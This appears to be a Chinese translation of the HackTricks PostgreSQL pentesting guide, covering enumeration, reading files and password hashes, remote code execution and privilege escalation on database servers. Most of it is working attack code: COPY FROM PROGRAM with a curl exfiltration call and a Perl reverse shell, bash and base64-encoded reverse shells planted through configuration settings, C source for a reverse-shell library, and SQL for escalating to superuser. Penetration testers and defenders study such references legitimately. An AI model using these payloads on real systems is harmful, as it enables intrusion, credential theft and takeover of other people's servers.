5432,5433 - Pentesting Postgresql
Reading time: 32 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
PostgreSQL 被描述为一个 对象关系数据库系统,它是 开源 的。该系统不仅使用 SQL 语言,还通过额外的功能增强了它。它的能力使其能够处理各种数据类型和操作,成为开发人员和组织的多功能选择。
默认端口: 5432,如果该端口已被使用,似乎 postgresql 会使用下一个未使用的端口(可能是 5433)。
PORT STATE SERVICE
5432/tcp open pgsql
连接与基本枚举
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
warning
如果运行 \list
你发现一个名为 rdsadmin
的数据库,你就知道你在一个 AWS postgresql 数据库 内部。
有关 如何滥用 PostgreSQL 数据库 的更多信息,请查看:
自动枚举
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
暴力破解
端口扫描
根据这项研究,当连接尝试失败时,dblink
会抛出一个 sqlclient_unable_to_establish_sqlconnection
异常,其中包含错误的解释。以下列出了这些细节的示例。
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
- 主机已关闭
详细信息:无法连接到服务器:没有到主机的路由。服务器是否在主机 "1.2.3.4" 上运行并接受端口 5678 的 TCP/IP 连接?
- 端口已关闭
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- 端口是开放的
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
或
DETAIL: FATAL: password authentication failed for user "name"
- 端口是开放的或被过滤的
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
在 PL/pgSQL 函数中,目前无法获取异常详细信息。然而,如果您可以直接访问 PostgreSQL 服务器,您可以检索所需的信息。如果从系统表中提取用户名和密码不可行,您可以考虑利用前一节讨论的字典攻击方法,因为它可能会产生积极的结果。
权限枚举
角色
角色类型 | |
---|---|
rolsuper | 角色具有超级用户权限 |
rolinherit | 角色自动继承其成员角色的权限 |
rolcreaterole | 角色可以创建更多角色 |
rolcreatedb | 角色可以创建数据库 |
rolcanlogin | 角色可以登录。也就是说,这个角色可以作为初始会话授权标识符 |
rolreplication | 角色是一个复制角色。复制角色可以启动复制连接并创建和删除复制槽。 |
rolconnlimit | 对于可以登录的角色,这设置了该角色可以进行的最大并发连接数。-1 表示没有限制。 |
rolpassword | 不是密码(始终显示为 ******** ) |
rolvaliduntil | 密码过期时间(仅用于密码认证);如果没有过期则为 null |
rolbypassrls | 角色绕过每个行级安全策略,更多信息请参见 Section 5.8。 |
rolconfig | 角色特定的运行时配置变量默认值 |
oid | 角色的 ID |
有趣的组
- 如果您是
pg_execute_server_program
的成员,您可以 执行 程序 - 如果您是
pg_read_server_files
的成员,您可以 读取 文件 - 如果您是
pg_write_server_files
的成员,您可以 写入 文件
note
请注意,在 Postgres 中,用户、组和角色是 相同 的。这仅取决于 您如何使用它 以及您是否 允许其登录。
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
表格
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
函数
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
文件系统操作
读取目录和文件
来自这个 commit 的定义 DEFAULT_ROLE_READ_SERVER_FILES
组(称为 pg_read_server_files
)和 超级用户 可以在任何路径上使用 COPY
方法(查看 convert_and_check_filename
在 genfile.c
中):
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
warning
请记住,如果您不是超级用户但拥有 CREATEROLE 权限,您可以 使自己成为该组的成员:
GRANT pg_read_server_files TO username;
还有 其他 postgres 函数 可以用来 读取文件或列出目录。只有 超级用户 和 具有明确权限的用户 可以使用它们:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
您可以在 https://www.postgresql.org/docs/current/functions-admin.html 找到 更多功能。
简单文件写入
只有 超级用户 和 pg_write_server_files
的成员可以使用 copy 写入文件。
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
warning
请记住,如果您不是超级用户但拥有 CREATEROLE
权限,您可以 使自己成为该组的成员:
GRANT pg_write_server_files TO username;
请记住,COPY 无法处理换行符,因此即使您使用的是 base64 有效负载,您需要发送一行代码。
此技术的一个非常重要的限制是 copy
不能用于写入二进制文件,因为它会修改某些二进制值。
二进制文件上传
然而,还有 其他技术可以上传大二进制文件:
Big Binary Files Upload (PostgreSQL)
通过本地文件写入更新 PostgreSQL 表数据
如果您拥有读取和写入 PostgreSQL 服务器文件的必要权限,您可以通过 覆盖关联的文件节点 来更新服务器上的任何表 在 PostgreSQL 数据目录中。 关于此技术的更多信息 在这里。
所需步骤:
- 获取 PostgreSQL 数据目录
SELECT setting FROM pg_settings WHERE name = 'data_directory';
注意: 如果您无法从设置中检索当前数据目录路径,可以通过 SELECT version()
查询获取主要 PostgreSQL 版本,并尝试暴力破解路径。 PostgreSQL 在 Unix 安装中的常见数据目录路径是 /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
。 一个常见的集群名称是 main
。
- 获取与目标表关联的文件节点的相对路径
SELECT pg_relation_filepath('{TABLE_NAME}')
此查询应返回类似 base/3/1337
的内容。 磁盘上的完整路径将是 $DATA_DIRECTORY/base/3/1337
,即 /var/lib/postgresql/13/main/base/3/1337
。
- 通过
lo_*
函数下载文件节点
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
- 获取与目标表关联的数据类型
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
- 使用 PostgreSQL 文件节点编辑器 编辑文件节点;将所有
rol*
布尔标志设置为 1 以获得完全权限。
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
- 通过
lo_*
函数重新上传编辑过的文件节点,并覆盖磁盘上的原始文件
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
- (可选) 通过运行一个昂贵的 SQL 查询清除内存中的表缓存
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
- 现在您应该在 PostgreSQL 中看到更新的表值。
您还可以通过编辑 pg_authid
表成为超级管理员。 请参见 以下部分。
RCE
RCE 到程序
自 版本 9.3以来,只有 超级用户 和 pg_execute_server_program
组的成员可以使用 copy 进行 RCE(示例带有外泄:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
示例执行:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
warning
请记住,如果您不是超级用户但拥有 CREATEROLE
权限,您可以 使自己成为该组的成员:
GRANT pg_execute_server_program TO username;
或者使用 metasploit 的 multi/postgres/postgres_copy_from_program_cmd_exec
模块。
有关此漏洞的更多信息 在这里。虽然被报告为 CVE-2019-9193,但 Postges 声明这是一个 特性,并且不会修复。
使用 PostgreSQL 语言的 RCE
使用 PostgreSQL 扩展的 RCE
一旦您 学习 了之前的帖子 如何上传二进制文件,您可以尝试通过 上传 PostgreSQL 扩展并加载它 来获得 RCE。
RCE with PostgreSQL Extensions
PostgreSQL 配置文件 RCE
note
以下 RCE 向量在受限 SQLi 上下文中特别有用,因为所有步骤都可以通过嵌套的 SELECT 语句执行
PostgreSQL 的 配置文件 是 可写的,由 postgres 用户 拥有,该用户正在运行数据库,因此作为 超级用户,您可以在文件系统中写入文件,因此您可以 覆盖此文件。
使用 ssl_passphrase_command 的 RCE
有关此技术的更多信息 在这里。
配置文件具有一些有趣的属性,可以导致 RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
数据库私钥的路径ssl_passphrase_command = ''
如果私钥文件受到密码保护(加密),PostgreSQL 将 执行此属性中指示的命令。ssl_passphrase_command_supports_reload = off
如果 此属性为 on,则 如果 密钥受到密码保护,将执行 的 命令 将在pg_reload_conf()
被 执行 时执行。
然后,攻击者需要:
- 从服务器转储私钥
- 加密 下载的私钥:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
- 覆盖
- 转储 当前的 PostgreSQL 配置
- 用提到的属性配置覆盖 配置:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
- 执行
pg_reload_conf()
在测试此时,我注意到这仅在 私钥文件具有 640 权限 时有效,且 由 root 拥有,并且由 ssl-cert 或 postgres 组 拥有(因此 postgres 用户可以读取),并且位于 /var/lib/postgresql/12/main。
使用 archive_command 的 RCE
配置文件中另一个可利用的属性是 archive_command
。
为了使其工作,archive_mode
设置必须为 'on'
或 'always'
。如果为真,则我们可以覆盖 archive_command
中的命令,并通过 WAL(预写日志)操作强制执行它。
一般步骤是:
- 检查归档模式是否启用:
SELECT current_setting('archive_mode')
- 用有效负载覆盖
archive_command
。例如,反向 shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
- 重新加载配置:
SELECT pg_reload_conf()
- 强制 WAL 操作运行,这将调用归档命令:
SELECT pg_switch_wal()
或SELECT pg_switch_xlog()
对于某些 PostgreSQL 版本
使用预加载库的 RCE
有关此技术的更多信息 在这里。
此攻击向量利用以下配置变量:
session_preload_libraries
-- PostgreSQL 服务器将在客户端连接时加载的库。dynamic_library_path
-- PostgreSQL 服务器将搜索库的目录列表。
我们可以将 dynamic_library_path
值设置为 postgres
用户可写的目录,例如 /tmp/
目录,并在其中上传恶意的 .so
对象。接下来,我们将通过将其包含在 session_preload_libraries
变量中,强制 PostgreSQL 服务器加载我们新上传的库。
攻击步骤是:
- 下载原始
postgresql.conf
- 在
dynamic_library_path
值中包含/tmp/
目录,例如dynamic_library_path = '/tmp:$libdir'
- 在
session_preload_libraries
值中包含恶意库名称,例如session_preload_libraries = 'payload.so'
- 通过
SELECT version()
查询检查主要 PostgreSQL 版本 - 使用正确的 PostgreSQL 开发包编译恶意库代码 示例代码:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
编译代码:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
- 上传在步骤 2-3 中创建的恶意
postgresql.conf
,并覆盖原始文件 - 将步骤 5 中的
payload.so
上传到/tmp
目录 - 通过重启服务器或调用
SELECT pg_reload_conf()
查询重新加载服务器配置 - 在下一个数据库连接时,您将收到反向 shell 连接。
Postgres 权限提升
CREATEROLE 权限提升
授予
根据 文档:拥有 CREATEROLE
权限的角色可以 授予或撤销对任何角色的成员资格,该角色 不是 超级用户。
因此,如果您拥有 CREATEROLE
权限,您可以授予自己对其他 角色(不是超级用户)的访问权限,这可以让您读取和写入文件并执行命令:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
修改密码
具有此角色的用户还可以更改其他非超级用户的密码:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
Privesc to SUPERUSER
很常见的是发现 本地用户可以在 PostgreSQL 中登录而无需提供任何密码。因此,一旦您获得了 执行代码的权限,您可以利用这些权限授予您 SUPERUSER
角色:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
note
这通常是因为 pg_hba.conf
文件中的以下行:
# "local" 仅用于 Unix 域套接字连接
local all all trust
# IPv4 本地连接:
host all all 127.0.0.1/32 trust
# IPv6 本地连接:
host all all ::1/128 trust
ALTER TABLE privesc
在 这篇文章 中解释了如何在 Postgres GCP 中利用授予用户的 ALTER TABLE 权限实现 privesc。
当你尝试 将另一个用户设为表的所有者 时,你应该会收到一个 错误 阻止此操作,但显然 GCP 给了 非超级用户 postgres 用户 这个 选项:
将这个想法与 INSERT/UPDATE/ANALYZE 命令在 带有索引函数的表 上执行时,函数 作为命令的一部分以 表 所有者的权限 被 调用 的事实结合起来。可以创建一个带有函数的索引,并将超级用户的所有者权限授予该表,然后在带有恶意函数的表上运行 ANALYZE,该函数将能够执行命令,因为它使用的是所有者的权限。
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
利用
- 首先创建一个新表。
- 向表中插入一些无关的内容,以提供索引函数的数据。
- 开发一个包含代码执行有效负载的恶意索引函数,允许执行未经授权的命令。
- 将表的所有者更改为 "cloudsqladmin",这是 GCP 的超级用户角色,专门用于 Cloud SQL 管理和维护数据库。
- 对表执行 ANALYZE 操作。此操作迫使 PostgreSQL 引擎切换到表所有者 "cloudsqladmin" 的用户上下文。因此,恶意索引函数以 "cloudsqladmin" 的权限被调用,从而使之前未经授权的 shell 命令得以执行。
在 PostgreSQL 中,这个流程看起来像这样:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
然后,shell_commands_results
表将包含执行代码的输出:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
本地登录
一些配置错误的 postgresql 实例可能允许任何本地用户登录,可以使用 dblink
function 从 127.0.0.1 本地登录:
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
warning
请注意,之前的查询要正常工作需要存在函数 dblink
。如果不存在,您可以尝试使用以下命令创建它:
CREATE EXTENSION dblink;
如果您拥有具有更高权限的用户的密码,但该用户不允许从外部 IP 登录,您可以使用以下函数以该用户的身份执行查询:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
可以通过以下方式检查此函数是否存在:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
自定义定义的函数与 SECURITY DEFINER
在这篇文章中,渗透测试者能够在IBM提供的postgres实例中进行权限提升,因为他们发现了这个带有SECURITY DEFINER标志的函数:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
正如文档中所解释的,带有SECURITY DEFINER的函数是以 拥有者的权限 执行的。因此,如果该函数易受SQL注入攻击或正在执行一些由攻击者控制的参数的特权操作,则可能被滥用以在postgres中提升权限。
在前面代码的第4行中可以看到该函数具有SECURITY DEFINER标志。
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
然后执行命令:
使用 PL/pgSQL 进行密码暴力破解
PL/pgSQL 是一种功能齐全的编程语言,相比于 SQL 提供了更强的过程控制。它支持使用循环和其他控制结构来增强程序逻辑。此外,SQL 语句和触发器能够调用使用PL/pgSQL 语言创建的函数。这种集成使得数据库编程和自动化的方法更加全面和灵活。
您可以利用这种语言来请求 PostgreSQL 进行用户凭证的暴力破解。
通过覆盖内部 PostgreSQL 表进行权限提升
note
以下权限提升向量在受限的 SQLi 上下文中特别有用,因为所有步骤都可以通过嵌套的 SELECT 语句执行
如果您可以读取和写入 PostgreSQL 服务器文件,您可以通过覆盖与内部 pg_authid
表相关的 PostgreSQL 磁盘文件节点来成为超级用户。
有关此技术的更多信息请点击这里。
攻击步骤如下:
- 获取 PostgreSQL 数据目录
- 获取与
pg_authid
表相关的文件节点的相对路径 - 通过
lo_*
函数下载文件节点 - 获取与
pg_authid
表相关的数据类型 - 使用 PostgreSQL 文件节点编辑器 编辑文件节点;将所有
rol*
布尔标志设置为 1 以获得完全权限。 - 通过
lo_*
函数重新上传编辑后的文件节点,并覆盖磁盘上的原始文件 - (可选) 通过运行一个昂贵的 SQL 查询清除内存中的表缓存
- 您现在应该拥有完整超级管理员的权限。
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
logging
在 postgresql.conf 文件中,您可以通过更改来启用 postgresql 日志:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
然后,重启服务。
pgadmin
pgadmin 是一个用于 PostgreSQL 的管理和开发平台。
您可以在 pgadmin4.db 文件中找到 密码。
您可以使用脚本中的 decrypt 函数对其进行解密: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
PostgreSQL中的客户端身份验证通过一个名为pg_hba.conf的配置文件进行管理。该文件包含一系列记录,每条记录指定了连接类型、客户端IP地址范围(如适用)、数据库名称、用户名以及用于匹配连接的身份验证方法。第一个匹配连接类型、客户端地址、请求的数据库和用户名的记录用于身份验证。如果身份验证失败,则没有后备或备份。如果没有记录匹配,则拒绝访问。
pg_hba.conf中可用的基于密码的身份验证方法有md5、crypt和password。这些方法在密码传输方式上有所不同:MD5哈希、crypt加密或明文。需要注意的是,crypt方法不能与在pg_authid中加密的密码一起使用。
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。